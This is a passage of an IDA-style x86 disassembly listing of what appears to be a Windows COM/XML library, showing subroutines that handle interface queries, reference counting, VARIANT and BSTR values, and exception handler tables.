sub_69B3B82A	proc near		; CODE XREF: .text:69B3BBE1p
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17320
		and	dword ptr [esi+68h], 0
		mov	ecx, esi
		pop	esi
		jmp	sub_69B3B3B6
sub_69B3B82A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3B844	proc near		; CODE XREF: sub_69B3BB4A+5j
					; .text:69B3BB59j ...

punkOuter	= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_69B3B7BC
		mov	esi, 80004002h
		cmp	eax, esi
		mov	[ebp+arg_0], eax
		jnz	short loc_69B3B8C1
		push	[ebp+arg_8]
		lea	eax, [ebx+34h]
		push	[ebp+arg_4]
		push	eax
		call	sub_69B88F8B
		cmp	eax, esi
		mov	[ebp+arg_0], eax
		jnz	short loc_69B3B8C1
		mov	esi, [ebp+arg_4]
		push	edi
		push	4
		pop	ecx
		mov	edi, offset dword_69B2B030
		xor	eax, eax
		repe cmpsd
		pop	edi
		jnz	short loc_69B3B8C1
		lea	eax, [ebp+punkOuter]
		push	eax
		push	offset stru_69B1CA6C
		push	ebx
		call	sub_69B3B7BC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jl	short loc_69B3B8C1
		push	[ebp+arg_8]	; int
		lea	ecx, [ebx+70h]	; ppunkMarshal
		push	[ebp+arg_4]	; int
		push	[ebp+punkOuter]	; punkOuter
		call	sub_69B88245
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+punkOuter]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B3B8C1:				; CODE XREF: sub_69B3B844+1Fj
					; sub_69B3B844+35j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B3B844	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3B8CA	proc near		; DATA XREF: .text:69B1F560o
		push	38h
		push	offset dword_69B3BA28
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B3B8EF
		mov	eax, 80004005h
		jmp	loc_69B3BA1A
; ---------------------------------------------------------------------------


loc_69B3B8EF:				; CODE XREF: sub_69B3B8CA+19j
		push	1
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		mov	[ebp-2Ch], edi
		mov	[ebp-30h], edi
		mov	byte ptr [ebp-31h], 0
		mov	[ebp-38h], edi
		mov	[ebp-4], edi
		mov	ebx, [ebp+0Ch]
		cmp	ebx, edi
		jz	short loc_69B3B959
		push	ebx
		call	sub_69B48A77
		mov	esi, eax
		mov	[ebp-30h], esi
		cmp	esi, edi
		jz	short loc_69B3B93E
		mov	ecx, esi
		call	sub_69B1B42A
		cmp	eax, 1
		jz	short loc_69B3B93E
		push	edi
		push	0C00CE22Dh
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B3B93E:				; CODE XREF: sub_69B3B8CA+53j
					; sub_69B3B8CA+5Fj
		push	1
		push	esi
		call	sub_69B3B54A
		mov	byte ptr [ebp-31h], 1
		push	ebx
		mov	esi, [ebp+8]
		push	esi
		call	sub_69B47BDC
		mov	[ebp-38h], eax
		jmp	short loc_69B3B95C
; ---------------------------------------------------------------------------


loc_69B3B959:				; CODE XREF: sub_69B3B8CA+44j
		mov	esi, [ebp+8]


loc_69B3B95C:				; CODE XREF: sub_69B3B8CA+8Dj
		lea	eax, [esi+40h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_69B18E23
		lea	edi, [esi+3Ch]
		mov	eax, [edi]
		mov	[ebp-40h], eax
		test	eax, eax
		jz	short loc_69B3B980
		mov	[ebp-44h], eax
		push	eax
		call	sub_69B48A77
		mov	[ebp-2Ch], eax


loc_69B3B980:				; CODE XREF: sub_69B3B8CA+A8j
		mov	ecx, esi
		call	sub_69B3B402
		cmp	dword ptr [ebp-38h], 0
		jz	short loc_69B3B99E
		push	dword ptr [ebp-38h]
		mov	ecx, esi
		call	sub_69B3B426
		test	eax, eax
		jnz	short loc_69B3B99E
		and	[ebp-38h], eax


loc_69B3B99E:				; CODE XREF: sub_69B3B8CA+C1j
					; sub_69B3B8CA+CFj
		push	ebx
		mov	ecx, edi
		call	sub_69B199CC
		mov	byte ptr [ebp-31h], 0
		cmp	dword ptr [ebp-2Ch], 0
		jz	short loc_69B3B9B8
		push	dword ptr [ebp-2Ch]
		call	sub_69B3B496


loc_69B3B9B8:				; CODE XREF: sub_69B3B8CA+E4j
		and	dword ptr [ebp-48h], 0
		lea	ecx, [ebp-3Ch]
		call	sub_69B1900C
		jmp	short loc_69B3B9E7
; ---------------------------------------------------------------------------


loc_69B3B9C6:				; DATA XREF: .text:69B3BA2Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3B9CF:				; DATA XREF: .text:69B3BA30o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-48h], eax


loc_69B3B9E7:				; CODE XREF: sub_69B3B8CA+FAj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	byte ptr [ebp-31h], 0
		jz	short loc_69B3B9F9
		push	dword ptr [ebp-30h]
		call	sub_69B3B496


loc_69B3B9F9:				; CODE XREF: sub_69B3B8CA+125j
		mov	eax, [ebp-38h]
		test	eax, eax
		jz	short loc_69B3BA06
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B3BA06:				; CODE XREF: sub_69B3B8CA+134j
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-48h]


loc_69B3BA1A:				; CODE XREF: sub_69B3B8CA+20j
		call	sub_69B1853C
		retn	8
sub_69B3B8CA	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B3BA28	dd 0FFFFFFFFh			dd offset loc_69B3B9C6
		dd offset loc_69B3B9CF

; =============== S U B	R O U T	I N E =======================================



sub_69B3BA34	proc near		; CODE XREF: sub_69B3BA77+4p
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi+8], offset dword_69B9849C
		push	off_69B984A0
		lea	ecx, [esi+0Ch]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B3BA34	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3BA55	proc near		; CODE XREF: sub_69B3BC4C+7Ep
					; sub_69B3CD5C+60p ...
		push	esi
		mov	esi, ecx
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+4]
		push	0
		push	eax
		call	sub_69B17320
		pop	esi
		retn
sub_69B3BA55	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3BA77	proc near		; CODE XREF: .text:69B3BBD1p
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B3BA34
		lea	edi, [esi+1Ch]
		mov	ecx, edi
		call	sub_69B1D6CD
		push	100h
		mov	dword ptr [esi], offset	off_69B1F544
		mov	dword ptr [esi+4], offset off_69B278D4
		mov	dword ptr [esi+0Ch], offset off_69B278D0
		mov	dword ptr [esi+18h], offset off_69B27894
		mov	dword ptr [edi], offset	off_69B279BC
		mov	dword ptr [esi+34h], offset off_69B27874
		mov	dword ptr [esi+38h], offset off_69B27860
		and	dword ptr [esi+3Ch], 0
		push	1000h
		lea	ecx, [esi+40h]
		call	sub_69B19B0D
		and	dword ptr [esi+70h], 0
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_69B3BA77	endp

; ---------------------------------------------------------------------------


loc_69B3BAD8:				; DATA XREF: .text:69B27888o
		lea	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------


loc_69B3BADC:				; DATA XREF: .text:69B27890o
					; .text:69B27968o
		add	ecx, 0FFFFFFD8h
		jmp	sub_69B87FDC

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B3BAE4(int, LPCWSTR strIn, int, LPCWSTR psz2)

sub_69B3BAE4	proc near		; DATA XREF: .text:69B278B0o

strIn		= dword	ptr  8
arg_8		= dword	ptr  0Ch
psz2		= dword	ptr  10h

		push	[esp+psz2]	; psz2
		push	[esp+4+arg_8]	; int
		push	[esp+8+strIn]	; strIn
		push	0		; char
		push	offset dword_69B9849C ;	int
		call	sub_69B2CFAA
		retn	10h
sub_69B3BAE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3BAFF	proc near		; DATA XREF: .text:69B278B4o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_1C]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_18]
		add	eax, 0FFFFFFE8h
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	0
		push	offset dword_69B9849C
		push	eax
		call	sub_69B2C800
		pop	ebp
		retn	20h
sub_69B3BAFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3BB2E	proc near		; CODE XREF: sub_69B5A12B+5j
					; DATA XREF: .text:69B1237Co ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_8]
		add	eax, 4
		push	[esp+8+arg_4]
		push	eax
		call	sub_69B2D21C
		retn	10h
sub_69B3BB2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3BB4A	proc near		; DATA XREF: .text:off_69B278D4o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 4
		jmp	sub_69B3B844
sub_69B3BB4A	endp

; ---------------------------------------------------------------------------


loc_69B3BB54:				; DATA XREF: .text:off_69B27894o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B3B844
; ---------------------------------------------------------------------------


loc_69B3BB5E:				; DATA XREF: .text:off_69B27874o
		sub	dword ptr [esp+4], 34h
		jmp	sub_69B3B844
; ---------------------------------------------------------------------------


loc_69B3BB68:				; DATA XREF: .text:69B27878o
					; .text:69B27950o
		sub	dword ptr [esp+4], 34h
		jmp	sub_69B1F56C
; ---------------------------------------------------------------------------


loc_69B3BB72:				; DATA XREF: .text:69B2787Co
					; .text:69B27954o
		sub	dword ptr [esp+4], 34h
		jmp	sub_69B7793E
; ---------------------------------------------------------------------------


loc_69B3BB7C:				; DATA XREF: .text:off_69B27860o
		sub	dword ptr [esp+4], 38h
		jmp	sub_69B3B844
; ---------------------------------------------------------------------------


loc_69B3BB86:				; DATA XREF: .text:69B27864o
					; .text:69B2793Co
		sub	dword ptr [esp+4], 38h
		jmp	sub_69B1F56C
; ---------------------------------------------------------------------------


loc_69B3BB90:				; DATA XREF: .text:69B27868o
					; .text:69B27940o
		sub	dword ptr [esp+4], 38h
		jmp	sub_69B7793E
; ---------------------------------------------------------------------------


loc_69B3BB9A:				; DATA XREF: .text:69B1C838o
					; .text:69B1C848o
		push	20h
		push	offset dword_69B3BC40
		call	sub_69B19C5C
		push	1
		lea	ecx, [ebp-24h]
		call	sub_69B11D3B
		xor	esi, esi
		mov	[ebp-28h], esi
		mov	[ebp-4], esi
		mov	edi, [ebp+0Ch]
		cmp	edi, esi
		jz	short loc_69B3BBC1
		mov	[edi], esi


loc_69B3BBC1:				; CODE XREF: .text:69B3BBBDj
		push	74h
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-2Ch], ecx
		cmp	ecx, esi
		jz	short loc_69B3BBD8
		call	sub_69B3BA77
		jmp	short loc_69B3BBDA
; ---------------------------------------------------------------------------


loc_69B3BBD8:				; CODE XREF: .text:69B3BBCFj
		xor	eax, eax


loc_69B3BBDA:				; CODE XREF: .text:69B3BBD6j
		mov	esi, eax
		mov	[ebp-28h], esi
		mov	ecx, esi
		call	sub_69B3B82A
		mov	eax, [esi]
		push	edi
		push	dword ptr [ebp+8]
		push	esi
		call	dword ptr [eax]
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B3BC20
; ---------------------------------------------------------------------------


loc_69B3BBF8:				; DATA XREF: .text:69B3BC44o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3BC01:				; DATA XREF: .text:69B3BC48o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-28h]


loc_69B3BC20:				; CODE XREF: .text:69B3BBF6j
		test	esi, esi
		jz	short loc_69B3BC2A
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B3BC2A:				; CODE XREF: .text:69B3BC22j
		lea	ecx, [ebp-24h]
		call	sub_69B1976C
		mov	eax, [ebp-30h]
		call	sub_69B1853C
		retn	8
; ---------------------------------------------------------------------------
		align 10h
dword_69B3BC40	dd 0FFFFFFFFh			dd offset loc_69B3BBF8
		dd offset loc_69B3BC01

; =============== S U B	R O U T	I N E =======================================



sub_69B3BC4C	proc near		; CODE XREF: sub_69B3BCD7+3p
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi-0Ch]
		lea	ebx, [esi+10h]
		mov	ecx, edi
		mov	dword ptr [edi], offset	off_69B1F544
		mov	dword ptr [esi-8], offset off_69B278D4
		mov	dword ptr [esi], offset	off_69B278D0
		mov	dword ptr [esi+0Ch], offset off_69B27894
		mov	dword ptr [ebx], offset	off_69B279BC
		mov	dword ptr [esi+28h], offset off_69B27874
		mov	dword ptr [esi+2Ch], offset off_69B27860
		call	sub_69B3B402
		mov	ecx, edi
		call	sub_69B3B3F4
		lea	edi, [esi+30h]
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_69B3BCAA
		push	eax
		call	sub_69B3B4B1
		push	0
		push	edi
		call	sub_69B17320


loc_69B3BCAA:				; CODE XREF: sub_69B3BC4C+4Ej
		lea	eax, [esi+64h]
		push	eax
		call	sub_69B17230
		lea	ecx, [esi+38h]
		call	loc_69B1AE86
		push	edi
		call	sub_69B17230
		lea	ecx, [esi-0Ch]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, ebx
		call	sub_69B3BA55
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_69B2C65C
sub_69B3BC4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3BCD7	proc near		; DATA XREF: .text:off_69B278D0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B3BC4C
		test	[esp+4+arg_0], 1
		jz	short loc_69B3BCEF
		lea	eax, [esi-0Ch]
		push	eax
		call	sub_69B1B2B7


loc_69B3BCEF:				; CODE XREF: sub_69B3BCD7+Dj
		lea	eax, [esi-0Ch]
		pop	esi
		retn	4
sub_69B3BCD7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3BCF6	proc near		; CODE XREF: sub_69B3BEC6+61p

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		push	0Ch
		call	sub_69B8AB3E
		test	eax, eax
		jz	short loc_69B3BD15
		test	dword ptr [eax+8], 7FFFFFFFh
		jz	short loc_69B3BD15
		mov	eax, [eax+4]
		jmp	short locret_69B3BD17
; ---------------------------------------------------------------------------


loc_69B3BD15:				; CODE XREF: sub_69B3BCF6+Fj
					; sub_69B3BCF6+18j
		xor	eax, eax

locret_69B3BD17:			; CODE XREF: sub_69B3BCF6+1Dj
		retn	4
sub_69B3BCF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3BD1A	proc near		; CODE XREF: sub_69B3BEC6+79p
					; sub_69B4FDBC+3E5p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		push	8
		call	sub_69B8AB3E
		test	eax, eax
		jz	short loc_69B3BD30
		mov	eax, [eax+4]
		jmp	short locret_69B3BD32
; ---------------------------------------------------------------------------


loc_69B3BD30:				; CODE XREF: sub_69B3BD1A+Fj
		xor	eax, eax

locret_69B3BD32:			; CODE XREF: sub_69B3BD1A+14j
		retn	4
sub_69B3BD1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3BD35	proc near		; CODE XREF: sub_69B3BD89p
					; sub_69B3BD91p
		push	0C00CE21Fh
		call	sub_69B2D34C
		mov	eax, 80004005h
		retn
sub_69B3BD35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B3BD45(LPCWSTR lpString, int)

sub_69B3BD45	proc near		; CODE XREF: sub_69B3BEC6+4Dp
					; sub_69B3C07A+61p ...

var_10		= byte ptr -10h
lpString	= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	20h
		lea	ecx, [ebp+var_10]
		call	sub_69B3109C
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jge	short loc_69B3BD67
		push	[ebp+lpString]	; lpString
		call	ds:lstrlenW	; lstrlenW
		test	eax, eax


loc_69B3BD67:				; CODE XREF: sub_69B3BD45+15j
		jz	short loc_69B3BD77
		push	1
		push	eax
		push	[ebp+lpString]
		lea	ecx, [ebp+var_10]
		call	sub_69B31369


loc_69B3BD77:				; CODE XREF: sub_69B3BD45:loc_69B3BD67j
		lea	ecx, [ebp+var_10]
		call	sub_69B31267
		push	eax
		call	sub_69B19611
		leave
		retn	8
sub_69B3BD45	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3BD89	proc near		; DATA XREF: .text:69B12388o
		call	sub_69B3BD35
		retn	18h
sub_69B3BD89	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3BD91	proc near		; DATA XREF: .text:69B12390o
					; .text:69B1239Co
		call	sub_69B3BD35
		retn	8
sub_69B3BD91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B3BD99(int, int, VARIANTARG *pvarg, int)

sub_69B3BD99	proc near		; DATA XREF: .text:69B1235Co

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
pvarg		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+pvarg]
		test	esi, esi
		jnz	short loc_69B3BDAB
		mov	eax, 80004003h
		jmp	short loc_69B3BE1B
; ---------------------------------------------------------------------------


loc_69B3BDAB:				; CODE XREF: sub_69B3BD99+9j
		and	[ebp+pvarg], 0
		push	ebx
		push	edi
		mov	edi, [ebp+arg_0]
		mov	ebx, [edi+14h]
		jmp	short loc_69B3BDDD
; ---------------------------------------------------------------------------


loc_69B3BDB9:				; CODE XREF: sub_69B3BD99+48j
		mov	eax, [edi+10h]
		mov	ecx, [eax]
		lea	edx, [ebp+arg_0]
		push	edx
		push	ebx
		push	eax
		call	dword ptr [ecx+2Ch]
		test	eax, eax
		jnz	short loc_69B3BDE5
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	word ptr [esi],	8
		mov	[esi+8], eax
		inc	ebx
		add	esi, 10h


loc_69B3BDDD:				; CODE XREF: sub_69B3BD99+1Ej
		cmp	[ebp+arg_4], 0
		jnz	short loc_69B3BDB9
		jmp	short loc_69B3BE05
; ---------------------------------------------------------------------------


loc_69B3BDE5:				; CODE XREF: sub_69B3BD99+30j
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_69B3BDFE
		mov	[ebp+arg_4], eax


loc_69B3BDEF:				; CODE XREF: sub_69B3BD99+63j
		push	esi		; pvarg
		call	VariantInit
		add	esi, 10h
		dec	[ebp+arg_4]
		jnz	short loc_69B3BDEF


loc_69B3BDFE:				; CODE XREF: sub_69B3BD99+51j
		mov	[ebp+pvarg], 1


loc_69B3BE05:				; CODE XREF: sub_69B3BD99+4Aj
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	short loc_69B3BE13
		mov	ecx, ebx
		sub	ecx, [edi+14h]
		mov	[eax], ecx


loc_69B3BE13:				; CODE XREF: sub_69B3BD99+71j
		mov	eax, [ebp+pvarg]
		mov	[edi+14h], ebx
		pop	edi
		pop	ebx


loc_69B3BE1B:				; CODE XREF: sub_69B3BD99+10j
		pop	esi
		pop	ebp
		retn	10h
sub_69B3BD99	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B3BE20(BSTR, int)

sub_69B3BE20	proc near		; DATA XREF: .text:69B12360o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		add	[eax+14h], ecx
		mov	ecx, [eax+14h]
		push	esi
		xor	esi, esi
		cmp	ecx, esi
		jle	short loc_69B3BE59
		mov	eax, [eax+10h]
		push	edi
		lea	edi, [ebp+arg_0]
		push	edi
		push	ecx
		mov	[ebp+arg_0], esi
		mov	edx, [eax]
		push	eax
		call	dword ptr [edx+2Ch]
		test	eax, eax
		pop	edi
		jz	short loc_69B3BE50
		inc	esi
		jmp	short loc_69B3BE59
; ---------------------------------------------------------------------------


loc_69B3BE50:				; CODE XREF: sub_69B3BE20+2Bj
		push	[ebp+arg_0]	; BSTR
		call	SysFreeString


loc_69B3BE59:				; CODE XREF: sub_69B3BE20+14j
					; sub_69B3BE20+2Ej
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	8
sub_69B3BE20	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3BE60	proc near		; DATA XREF: .text:69B12364o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword ptr [eax+14h], 0
		xor	eax, eax
		retn	4
sub_69B3BE60	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3BE6D	proc near		; CODE XREF: sub_69B3C07A+73p
					; sub_69B8BBC2+29p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	0
		push	[esp+4+arg_0]
		push	10h
		call	sub_69B8AB3E
		test	eax, eax
		jz	short loc_69B3BEA9
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jz	short loc_69B3BE8B
		mov	edx, [eax+4]
		mov	[ecx], edx


loc_69B3BE8B:				; CODE XREF: sub_69B3BE6D+17j
		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jz	short loc_69B3BE98
		mov	edx, [eax+8]
		mov	[ecx], edx


loc_69B3BE98:				; CODE XREF: sub_69B3BE6D+24j
		mov	ecx, [esp+arg_C]
		test	ecx, ecx
		jz	short loc_69B3BEA5
		mov	eax, [eax+0Ch]
		mov	[ecx], eax


loc_69B3BEA5:				; CODE XREF: sub_69B3BE6D+31j
		mov	al, 1
		jmp	short locret_69B3BEAB
; ---------------------------------------------------------------------------


loc_69B3BEA9:				; CODE XREF: sub_69B3BE6D+Fj
		xor	al, al

locret_69B3BEAB:			; CODE XREF: sub_69B3BE6D+3Aj
		retn	10h
sub_69B3BE6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3BEAE	proc near		; CODE XREF: sub_69B3C4C3+54p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	10h
		call	sub_69B8AB6F
		test	eax, eax
		jz	short loc_69B3BEC1
		mov	eax, [eax]
		jmp	short locret_69B3BEC3
; ---------------------------------------------------------------------------


loc_69B3BEC1:				; CODE XREF: sub_69B3BEAE+Dj
		xor	eax, eax

locret_69B3BEC3:			; CODE XREF: sub_69B3BEAE+11j
		retn	4
sub_69B3BEAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3BEC6	proc near		; DATA XREF: .text:69B1238Co
		push	30h
		push	offset dword_69B3BFA0
		call	sub_69B19C5C
		mov	edi, [ebp+10h]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B3BEE5
		mov	eax, 80004003h
		jmp	loc_69B3BF96
; ---------------------------------------------------------------------------


loc_69B3BEE5:				; CODE XREF: sub_69B3BEC6+13j
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B3BEFC
		mov	eax, 80004005h
		jmp	loc_69B3BF96
; ---------------------------------------------------------------------------


loc_69B3BEFC:				; CODE XREF: sub_69B3BEC6+2Aj
		mov	esi, [ebp+8]
		push	dword ptr [esi+1Ch]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	[ebp-4], ebx
		push	0FFFFFFFFh	; int
		push	dword ptr [ebp+0Ch] ; lpString
		call	sub_69B3BD45
		mov	[ebp-30h], eax
		mov	eax, [esi+20h]
		mov	[ebp-34h], eax
		push	dword ptr [ebp-30h]
		lea	ecx, [eax+0Ch]
		call	sub_69B3BCF6
		mov	[ebp-38h], eax
		cmp	eax, ebx
		jnz	short loc_69B3BF4B
		mov	esi, [esi+20h]
		mov	[ebp-3Ch], esi
		push	dword ptr [ebp-30h]
		lea	ecx, [esi+1Ch]
		call	sub_69B3BD1A
		mov	[ebp-38h], eax
		cmp	eax, ebx
		jz	short loc_69B3BF56


loc_69B3BF4B:				; CODE XREF: sub_69B3BEC6+6Bj
		mov	ecx, eax
		call	sub_69B48B01
		mov	[edi], eax
		jmp	short loc_69B3BF58
; ---------------------------------------------------------------------------


loc_69B3BF56:				; CODE XREF: sub_69B3BEC6+83j
		mov	[edi], ebx


loc_69B3BF58:				; CODE XREF: sub_69B3BEC6+8Ej
		mov	[ebp-40h], ebx
		jmp	short loc_69B3BF7E
; ---------------------------------------------------------------------------


loc_69B3BF5D:				; DATA XREF: .text:69B3BFA4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3BF66:				; DATA XREF: .text:69B3BFA8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-40h], eax


loc_69B3BF7E:				; CODE XREF: sub_69B3BEC6+95j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-40h]


loc_69B3BF96:				; CODE XREF: sub_69B3BEC6+1Aj
					; sub_69B3BEC6+31j
		call	sub_69B1853C
		retn	0Ch
sub_69B3BEC6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B3BFA0	dd 0FFFFFFFFh			dd offset loc_69B3BF5D
		dd offset loc_69B3BF66

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3BFAC	proc near		; DATA XREF: .text:69B12394o

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		jnz	short loc_69B3BFC1
		mov	eax, 80004003h
		jmp	short loc_69B3C005
; ---------------------------------------------------------------------------


loc_69B3BFC1:				; CODE XREF: sub_69B3BFAC+Cj
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B3BFD5
		mov	eax, 80004005h
		jmp	short loc_69B3C004
; ---------------------------------------------------------------------------


loc_69B3BFD5:				; CODE XREF: sub_69B3BFAC+20j
		push	esi
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi+1Ch]
		lea	ecx, [ebp+var_10]
		push	edi
		call	sub_69B18B3B
		mov	esi, [esi+20h]
		lea	ecx, [esi+0Ch]
		call	sub_69B8AB9D
		lea	ecx, [ebp+var_10]
		mov	[ebx], eax
		call	sub_69B18EBA
		push	edi
		call	dword_69B92944
		xor	eax, eax
		pop	esi


loc_69B3C004:				; CODE XREF: sub_69B3BFAC+27j
		pop	edi


loc_69B3C005:				; CODE XREF: sub_69B3BFAC+13j
		pop	ebx
		leave
		retn	8
sub_69B3BFAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3C00A	proc near		; DATA XREF: .text:69B123CCo

var_10		= byte ptr -10h
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B3C024
		mov	eax, 80004005h
		jmp	short loc_69B3C075
; ---------------------------------------------------------------------------


loc_69B3C024:				; CODE XREF: sub_69B3C00A+11j
		push	esi
		mov	esi, [ebp+arg_0]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	edi
		lea	ecx, [ebp+var_10]
		call	sub_69B1A8C7
		lea	eax, [esi+4Ch]
		push	eax
		lea	ecx, [ebp+var_4]
		call	sub_69B1986C
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_69B3C056
		mov	ecx, [esi+48h]
		mov	[eax], ecx
		xor	esi, esi
		jmp	short loc_69B3C05B
; ---------------------------------------------------------------------------


